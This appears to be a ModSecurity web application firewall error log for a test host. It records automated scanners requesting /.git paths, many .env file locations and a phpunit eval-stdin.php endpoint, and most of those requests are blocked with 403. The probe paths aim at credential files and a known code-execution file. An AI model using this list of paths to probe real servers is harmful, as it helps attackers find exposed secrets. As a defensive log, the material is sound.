[Wed Mar 11 08:42:58.366364 2026] [:error] [pid 2618367] [client 134.199.160.160:17590] [client 134.199.160.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abEdApRVzYE2OXG_tEbSkwAAAAI&quot;]
[Wed Mar 11 08:42:58.591440 2026] [:error] [pid 2618365] [client 134.199.160.160:17614] [client 134.199.160.160] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;abEdAloSOHKOrUx98OiGywAAAAA&quot;]
[Wed Mar 11 08:42:58.592679 2026] [:error] [pid 2618393] [client 134.199.160.160:17668] [client 134.199.160.160] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;abEdAiTwP26_NDCt5-cUcQAAAAY&quot;]
[Thu Mar 12 17:00:07.541255 2026] [:error] [pid 2646859] [client 204.76.203.25:60836] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abLjBx2XZbbm-jTr6iXbvQAAAAk&quot;]
[Thu Mar 12 17:00:07.543249 2026] [:error] [pid 2646859] [client 204.76.203.25:60836] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abLjBx2XZbbm-jTr6iXbvQAAAAk&quot;]
[Thu Mar 12 17:00:07.543397 2026] [:error] [pid 2646859] [client 204.76.203.25:60836] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abLjBx2XZbbm-jTr6iXbvQAAAAk&quot;]
[Fri Mar 13 22:57:05.524157 2026] [:error] [pid 2678119] [client 192.253.248.12:46040] [client 192.253.248.12] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abSIMdRngMuadLkL1sPZfQAAAAM&quot;], referer: http://pms.test.indacotrentino.com//.git/HEAD
[Fri Mar 13 22:57:05.524362 2026] [:error] [pid 2678119] [client 192.253.248.12:46040] [client 192.253.248.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abSIMdRngMuadLkL1sPZfQAAAAM&quot;], referer: http://pms.test.indacotrentino.com//.git/HEAD
[Fri Mar 13 22:57:05.524517 2026] [:error] [pid 2678119] [client 192.253.248.12:46040] [client 192.253.248.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abSIMdRngMuadLkL1sPZfQAAAAM&quot;], referer: http://pms.test.indacotrentino.com//.git/HEAD
[Sun Mar 15 09:54:37.487582 2026] [:error] [pid 2711296] [client 74.7.227.12:39864] [client 74.7.227.12] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html&quot;] [unique_id &quot;abZzzbjeJp5y3TaaIj9wvQAAAAg&quot;]
[Sun Mar 15 09:54:38.254970 2026] [:error] [pid 2708245] [client 74.7.241.160:38512] [client 74.7.241.160] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html&quot;] [unique_id &quot;abZzzmVA5r3y32C4HEITdgAAAAE&quot;]
[Sun Mar 15 10:46:53.776098 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHEgAAAAA&quot;]
[Sun Mar 15 10:46:53.776344 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHEgAAAAA&quot;]
[Sun Mar 15 10:46:53.776475 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHEgAAAAA&quot;]
[Sun Mar 15 10:46:53.798523 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHEwAAAAA&quot;]
[Sun Mar 15 10:46:53.798767 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHEwAAAAA&quot;]
[Sun Mar 15 10:46:53.798894 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHEwAAAAA&quot;]
[Sun Mar 15 10:46:53.821065 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFAAAAAA&quot;]
[Sun Mar 15 10:46:53.821249 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFAAAAAA&quot;]
[Sun Mar 15 10:46:53.821372 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFAAAAAA&quot;]
[Sun Mar 15 10:46:53.843264 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFQAAAAA&quot;]
[Sun Mar 15 10:46:53.843441 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFQAAAAA&quot;]
[Sun Mar 15 10:46:53.843554 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFQAAAAA&quot;]
[Sun Mar 15 10:46:53.865489 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFgAAAAA&quot;]
[Sun Mar 15 10:46:53.865697 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFgAAAAA&quot;]
[Sun Mar 15 10:46:53.865818 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFgAAAAA&quot;]
[Sun Mar 15 10:46:53.890320 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFwAAAAA&quot;]
[Sun Mar 15 10:46:53.890506 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFwAAAAA&quot;]
[Sun Mar 15 10:46:53.890632 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHFwAAAAA&quot;]
[Sun Mar 15 10:46:53.912728 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGAAAAAA&quot;]
[Sun Mar 15 10:46:53.912894 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGAAAAAA&quot;]
[Sun Mar 15 10:46:53.913036 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGAAAAAA&quot;]
[Sun Mar 15 10:46:53.936218 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGQAAAAA&quot;]
[Sun Mar 15 10:46:53.936394 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGQAAAAA&quot;]
[Sun Mar 15 10:46:53.936547 2026] [:error] [pid 2708244] [client 185.177.72.49:29882] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;abaADcvpIxk5lGn4VceHGQAAAAA&quot;]
